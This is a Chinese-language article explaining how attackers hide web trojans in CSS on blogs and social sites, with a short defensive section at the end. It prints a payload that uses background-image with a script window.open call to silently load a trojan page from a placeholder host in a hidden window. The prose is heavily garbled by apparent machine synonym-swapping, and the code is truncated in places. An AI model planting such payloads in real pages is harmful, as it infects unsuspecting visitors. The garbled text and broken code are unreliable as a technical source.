用来制作页面特效的CSS代码，也能够用来挂马。
跟着Web2.0的遍及，各种页面特效用得越来越多，这也给黑客一个待机而动。他们发现，用来制作页面特效的CSS代码，也能够用来挂马。而对比挖苦的是，CSS挂马方法其实是从防备E挂马的CSS代码演变而来。
网站挂马的手法初十分单一，可是跟着Web2.0技能以及Blog、Wiki等广泛的运用，挂马也涌现出各式各样的技能，其中CSS挂马方法，能够说是Web2.0年代黑客的独爱。有许多十分闻名的网站都被黑客用CSS挂马侵略过。
主张咱们在点击生疏链接时，要多个心眼，大网站也是可能被挂马的。咱们在上彀时，佳仍是运用一些带页面木马阻拦功用的安全辅助工具。
黑客为何挑选CSS挂马?
在Web1.0年代，运用E挂马对于黑客而言，与其说是为了十分好地完成木马的躲藏，倒不如说是百般无奈的一个挑选。在简单的HTML页面和缺少交互性的网站中，黑客能够运用的手法也十分有限，即便采取了杂乱的伪装，也很简单被识破，还不如E来得直接和有用。
但如今交互式的Web2.0网站越来越多，允许用户设置与修正的博客、SNS社区等纷纷呈现。这些互动性十分强的社区和博客中，通常会提供丰厚的功用，而且会允许用户运用CSS层叠样式表来对网站的页面进行自在的修正，这促进了CSS挂马流行。
小百科：
CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS首要的意图是将文件的布局(用HTML或其他有关言语写的)与文件的显现分隔开来。这个分隔能够让文件的可读性得到加强、文件的布局愈加灵敏。
黑客在运用CSS挂马时，通常是借着网民对某些大网站的信赖，将CSS歹意代码挂到博客或许其他撑持CSS的页面中，当网民在拜访该页面时歹意代码就会履行。这就好像你去一家知名且证照完全的大医院治病，你十分信赖医院，可是你所看的门诊却现已被庸医外包了下来，而且打着医院的名义运用你的信赖成功欺骗了你。可是当你过后去找人算账时，医院此时也通常一脸无辜。对于安全工程师而言，CSS挂马的排查是必备知识。
CSS挂马攻防实录
攻CSS挂马方法较多，但干流的方法是经过有缝隙的博客或许SNS交际网站体系，将歹意的CSS代码写入撑持CSS功用的个性化页面中。下面咱们以典型的CSS挂马方法为例进行解说。
方法1：
Body
“background-image”在CSS中的首要功用是用来界说页面的背景图片。这是典型的CSS挂马方法，这段歹意代码首要是经过“background-image”配合t代码让页面木马悄悄地在用户的电脑中运转。
那如何将这段CSS歹意代码挂到正常的页面中去呢?黑客能够将生成好的页面木马放到自个指定的位置，然后将该段歹意代码写入挂马网站的页面中，或许挂马页面所调用的CSS文件中。
小百科：
运用Body目标元素，首要是为了让目标不再改动整个页面文档的内容，经过Body目标的操控，能够将内容或许作用操控在指定的巨细内，好像运用DIV目标那样精确地设置巨细。
方法2：
Body
background-image: url(t
pen("http://www.X.com/muma.htm"，"newwindow"，"border="1" Height=0， Width=0， top=1000， center=0， toolbar=no，menubar=no， scrollbars=no，resizable=no，location=no，status=no"))
方法1的CSS挂马技能，在运转时会呈现空白的页面，影响页面拜访者正常的拜访，因而对比简单发现。不过在方法2中的这段代码，运用了t的Open开窗，经过新开一个躲藏的窗口，在后台悄悄地运转新窗口并激活拜访页面溢出木马页面，不会影响拜访者观看页面内容，因而愈加荫蔽。
防网络服务器被挂马，通常会呈现防病毒软件告警之类的信息。由于缝隙不断更新，挂马品种时间都在改换，经过客户端的反映来发现服务器是不是被挂马通常遗漏较大。正确的做法是常常查看服务器日志，发现异常信息，常常查看网站代码，运用页面木马检测体系，进行排查。
当前除了运用以前的阻断弹出窗口防备CSS挂马之外，还能够在页面中设置CSS过滤，将CSS过滤掉。不过如果你挑选过滤CSS的话，首先需求留心自个的有关页面是不是有CSS的内容，因而咱们依然首推用阻断方法来防备CSS。阻断代码如下所示：
emiao1:expression(this.src="about:blank"，this.outerHTML="");
